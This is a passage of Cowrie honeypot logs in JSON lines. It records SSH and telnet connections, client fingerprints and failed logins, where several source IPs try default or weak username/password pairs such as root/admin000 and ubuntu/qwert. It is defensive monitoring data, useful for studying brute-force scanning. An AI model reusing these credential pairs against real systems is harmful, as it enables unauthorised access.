-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:40.579569Z","src_ip":"190.242.109.42","session":"54e5d4fd6d7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mail","password":"admin123","message":"login attempt [mail/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:40.997051Z","src_ip":"190.242.109.42","session":"54e5d4fd6d7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:42.096515Z","src_ip":"190.242.109.42","session":"54e5d4fd6d7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":34348,"dst_ip":"10.17.0.5","dst_port":22,"session":"679a714958ae","protocol":"ssh","message":"New connection: 74.87.117.146:34348 (10.17.0.5:22) [session: 679a714958ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:47.293989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:47.302155Z","src_ip":"74.87.117.146","session":"679a714958ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:47.326838Z","src_ip":"74.87.117.146","session":"679a714958ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwert","message":"login attempt [ubuntu/qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:47.455381Z","src_ip":"74.87.117.146","session":"679a714958ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:52:48.482766Z","src_ip":"74.87.117.146","session":"679a714958ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":27568,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb66a7e1b129","protocol":"telnet","message":"New connection: 212.55.149.117:27568 (10.17.0.5:23) [session: fb66a7e1b129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:13.270373Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":46584,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0337782fd50","protocol":"ssh","message":"New connection: 165.227.170.113:46584 (10.17.0.5:22) [session: e0337782fd50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:13.931583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:13.936554Z","src_ip":"165.227.170.113","session":"e0337782fd50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:14.016189Z","src_ip":"165.227.170.113","session":"e0337782fd50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin000","message":"login attempt [root/admin000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:14.363933Z","src_ip":"165.227.170.113","session":"e0337782fd50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:15.452788Z","src_ip":"165.227.170.113","session":"e0337782fd50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":40174,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c75ba3839b9","protocol":"ssh","message":"New connection: 103.15.226.202:40174 (10.17.0.5:22) [session: 8c75ba3839b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:42.068855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:42.074018Z","src_ip":"103.15.226.202","session":"8c75ba3839b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:42.324850Z","src_ip":"103.15.226.202","session":"8c75ba3839b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"synjones@123","message":"login attempt [root/synjones@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:43.083529Z","src_ip":"103.15.226.202","session":"8c75ba3839b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:44.336620Z","src_ip":"103.15.226.202","session":"8c75ba3839b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":13003,"dst_ip":"10.17.0.5","dst_port":22,"session":"fda86e89c126","protocol":"ssh","message":"New connection: 74.87.117.146:13003 (10.17.0.5:22) [session: fda86e89c126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:44.617450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:44.621624Z","src_ip":"74.87.117.146","session":"fda86e89c126","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:44.646056Z","src_ip":"74.87.117.146","session":"fda86e89c126","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user15","password":"user15","message":"login attempt [user15/user15] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:44.778126Z","src_ip":"74.87.117.146","session":"fda86e89c126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:45.809012Z","src_ip":"74.87.117.146","session":"fda86e89c126","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":38546,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf7c6b3a14a2","protocol":"ssh","message":"New connection: 190.242.109.42:38546 (10.17.0.5:22) [session: cf7c6b3a14a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:50.346247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:50.350733Z","src_ip":"190.242.109.42","session":"cf7c6b3a14a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:50.457409Z","src_ip":"190.242.109.42","session":"cf7c6b3a14a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"oracle","message":"login attempt [ubuntu/oracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:50.912929Z","src_ip":"190.242.109.42","session":"cf7c6b3a14a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:52.023365Z","src_ip":"190.242.109.42","session":"cf7c6b3a14a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":55234,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b5a2facdc96","protocol":"ssh","message":"New connection: 189.46.1.73:55234 (10.17.0.5:22) [session: 6b5a2facdc96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:53.511238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:53.522695Z","src_ip":"189.46.1.73","session":"6b5a2facdc96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:53.726910Z","src_ip":"189.46.1.73","session":"6b5a2facdc96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sopuser","password":"Changeme_123","message":"login attempt [sopuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:54.323946Z","src_ip":"189.46.1.73","session":"6b5a2facdc96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:55.514589Z","src_ip":"189.46.1.73","session":"6b5a2facdc96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":27473,"dst_ip":"10.17.0.5","dst_port":22,"session":"649c3a52a0eb","protocol":"ssh","message":"New connection: 79.127.181.103:27473 (10.17.0.5:22) [session: 649c3a52a0eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:58.952294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:59.786196Z","src_ip":"79.127.181.103","session":"649c3a52a0eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:59.986370Z","src_ip":"79.127.181.103","session":"649c3a52a0eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:53:59.991740Z","src_ip":"79.127.181.103","session":"649c3a52a0eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":35716,"dst_ip":"10.17.0.5","dst_port":22,"session":"878501e393c0","protocol":"ssh","message":"New connection: 165.227.170.113:35716 (10.17.0.5:22) [session: 878501e393c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:00.052754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:00.058707Z","src_ip":"165.227.170.113","session":"878501e393c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:00.141551Z","src_ip":"165.227.170.113","session":"878501e393c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Ubuntu","password":"Ubuntu123","message":"login attempt [Ubuntu/Ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:00.503462Z","src_ip":"165.227.170.113","session":"878501e393c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:01.593112Z","src_ip":"165.227.170.113","session":"878501e393c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":5483,"dst_ip":"10.17.0.5","dst_port":23,"session":"a680b9bd36a3","protocol":"telnet","message":"New connection: 212.55.149.117:5483 (10.17.0.5:23) [session: a680b9bd36a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:10.185914Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":23803,"dst_ip":"10.17.0.5","dst_port":22,"session":"1569ceb616ad","protocol":"ssh","message":"New connection: 74.87.117.146:23803 (10.17.0.5:22) [session: 1569ceb616ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:42.718430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:54:42.723655Z","src_ip":"74.87.117.146","session":"1569ceb616ad","protocol":"ssh"}
